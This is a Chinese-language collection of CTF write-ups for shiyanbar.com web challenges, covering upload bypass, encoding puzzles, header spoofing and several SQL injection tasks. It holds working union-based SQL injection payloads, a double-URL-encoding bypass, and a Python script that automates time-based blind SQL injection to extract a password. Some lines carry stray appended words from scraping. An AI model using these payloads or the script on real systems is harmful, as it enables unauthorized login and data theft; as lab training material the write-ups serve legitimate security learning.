Web題目系列4php
上傳繞過
題目連接
http://shiyanbar.com/ctf/1781css
題目描述
bypass the upload 格式:flag{}
解題思路
隨意上傳文件,發現提示只能上傳圖片文件,上傳圖片後,看到發送包的內容爲
推測最後保存文件的名稱爲dir + filename,因此使用00
截斷來構造繞過php
不能上傳的問題。
flag{SimCTF_huachuan}html
NSCTF web200
題目連接
http://shiyanbar.com/ctf/1760python
題目描述
密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws 格式:flag:{}
解題思路
a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
=》rot13解碼:
n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf
=>reverse:
fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n
=》base64解碼:
~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
<?php
$_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"; $_=""; for($_0=0;$_0
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}mysql
程序邏輯問題
題目連接
http://shiyanbar.com/ctf/62nginx
題目描述
繞過
解題思路
打開題目後,發現源碼中有index.txt
,此文件爲該題目源碼,打開進行審計。web
<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********", "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
審計該題目,發現有兩個條件。
1. 首先經過user查詢用戶
2. 而後經過查詢出的用戶,拿出pw和用戶輸入的pw進行比計較,若是相等,則登陸成功。sql
存在的漏洞點:在查詢用戶時,user沒有通過過去,能夠進行注入,因此,經過構造注入,讓查詢出的結果可以被用戶輸入控制,和pw同樣,就繞過了第二個比較。數據庫
直接給出payloaduser=' union select md5(1)# and &pass=1
,這條語句拼出的sql語句爲select pw from php where user='' union select md5(1)#‘
。這樣查詢出的pw值就是用戶輸入的md5(1)
,當pass參數也輸入1
時,就繞過了條件了,獲得flag :SimCTF{youhaocongming}。瀏覽器
what a fuck!這是什麼鬼東西?
題目連接
http://shiyanbar.com/ctf/56
題目描述
what a fuck!這是什麼鬼東西?
解題思路
打開題目,就能夠看到是jsfuck編碼,直接在瀏覽器console控制檯執行這段代碼就能夠了。
flag : Ihatejs
PHP大法
題目連接
http://shiyanbar.com/ctf/54
題目描述
注意備份文件
解題思路
打開題目看到備份文件index.php.txt
。
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
從源代碼能夠看到,當輸入是hackerDJ
時,題目會返回not allowed
,當輸入通過url解碼時是hackerDJ
時,返回flag。這裏使用兩次url編碼,就能夠繞過第一個條件,在第二個條件通過ruldecode後,兩次編碼的輸入id轉化爲正常的ascii。payload %2568ackerDJ
。
DUTCTF{PHP_is_the_best_program_language}
這個看起來有點簡單!
題目連接
http://shiyanbar.com/ctf/33
題目描述
很明顯。過年過節不送禮,送禮就送這個
解題思路
使用id=1 and 1=1
,回顯正常,使用id=1 and 1=2
,回顯中沒有數據,易得此題目存在sql注入漏洞。後面直接給出payload。
id=1 union select 1,schema_name from information_schema.schemata
id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'
id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'
id=1 union select 1,k0y from thiskey
flag : whatiMyD91dump
貌似有點難
題目連接
http://shiyanbar.com/ctf/32
題目描述
很少說,去看題目吧。
解題思路
進入題目後,直接點開View the source code
查看源代碼。
<?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "錯誤!你的IP不在訪問列表以內!"; } ?>
看源碼,發現直接修改ip就能夠了,抓包重放。
SimCTF{daima_shengji}
頭有點大
題目連接
http://shiyanbar.com/ctf/29
題目描述
提示都這麼多了,再提示就沒意思了。
解題思路
根據題目意思要知足三個條件才能夠:
1. 安裝.net9.9框架。
2. 第二個是保證在英國地區。
3. 第三個是用ie瀏覽器。
第一個和第三個咱們能夠在User-Agent後加上(MSIE 9.0;.NET CLR 9.9)
來實現,最後一個在英國咱們把語言改爲en-gb
便可。
貓抓老鼠
題目連接
http://shiyanbar.com/ctf/20
題目描述
catch!catch!catch!嘿嘿,很少說了,再說劇透了
解題思路
這是一道腦洞題!因此訪問抓包,看到響應包中有一個字段Content-Row
,將這個參數的值當作pass+key
提交,就拿到了flag。
看起來有點難
題目連接
http://shiyanbar.com/ctf/2
題目描述
切,你那水平也就這麼點了,這都是什麼題啊!!!
解題思路
使用各類萬能注入不能登陸,測試payloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and sleep(10) and ''='&pass=&action=login
,發現響應時間很長,確認該題目爲sleep
盲注。
給出腳本的payloadadmin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login
,其中第一個%s 爲password字段的第幾位開始,第二個%s表示ascii字符。
__author__ = 'netfish' # -*-coding:utf-8-*- import requests import time payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' #不區分大小寫的 flag = "" key=0 print("Start") for i in range(1,50): if key == 1: break for payload in payloads: starttime = time.time()#記錄當前時間 headers = {"Host": "ctf5.shiyanbar.com", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour", "Connection": "keep-alive", } url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#數據庫 res = requests.get(url, headers=headers) if time.time() - starttime > 5: flag += payload print('\n pwd is:', flag) break else: if payload == '-': key = 1 break print('\n[Finally] current pwd is %s' % flag)
跑出密碼 idnuenna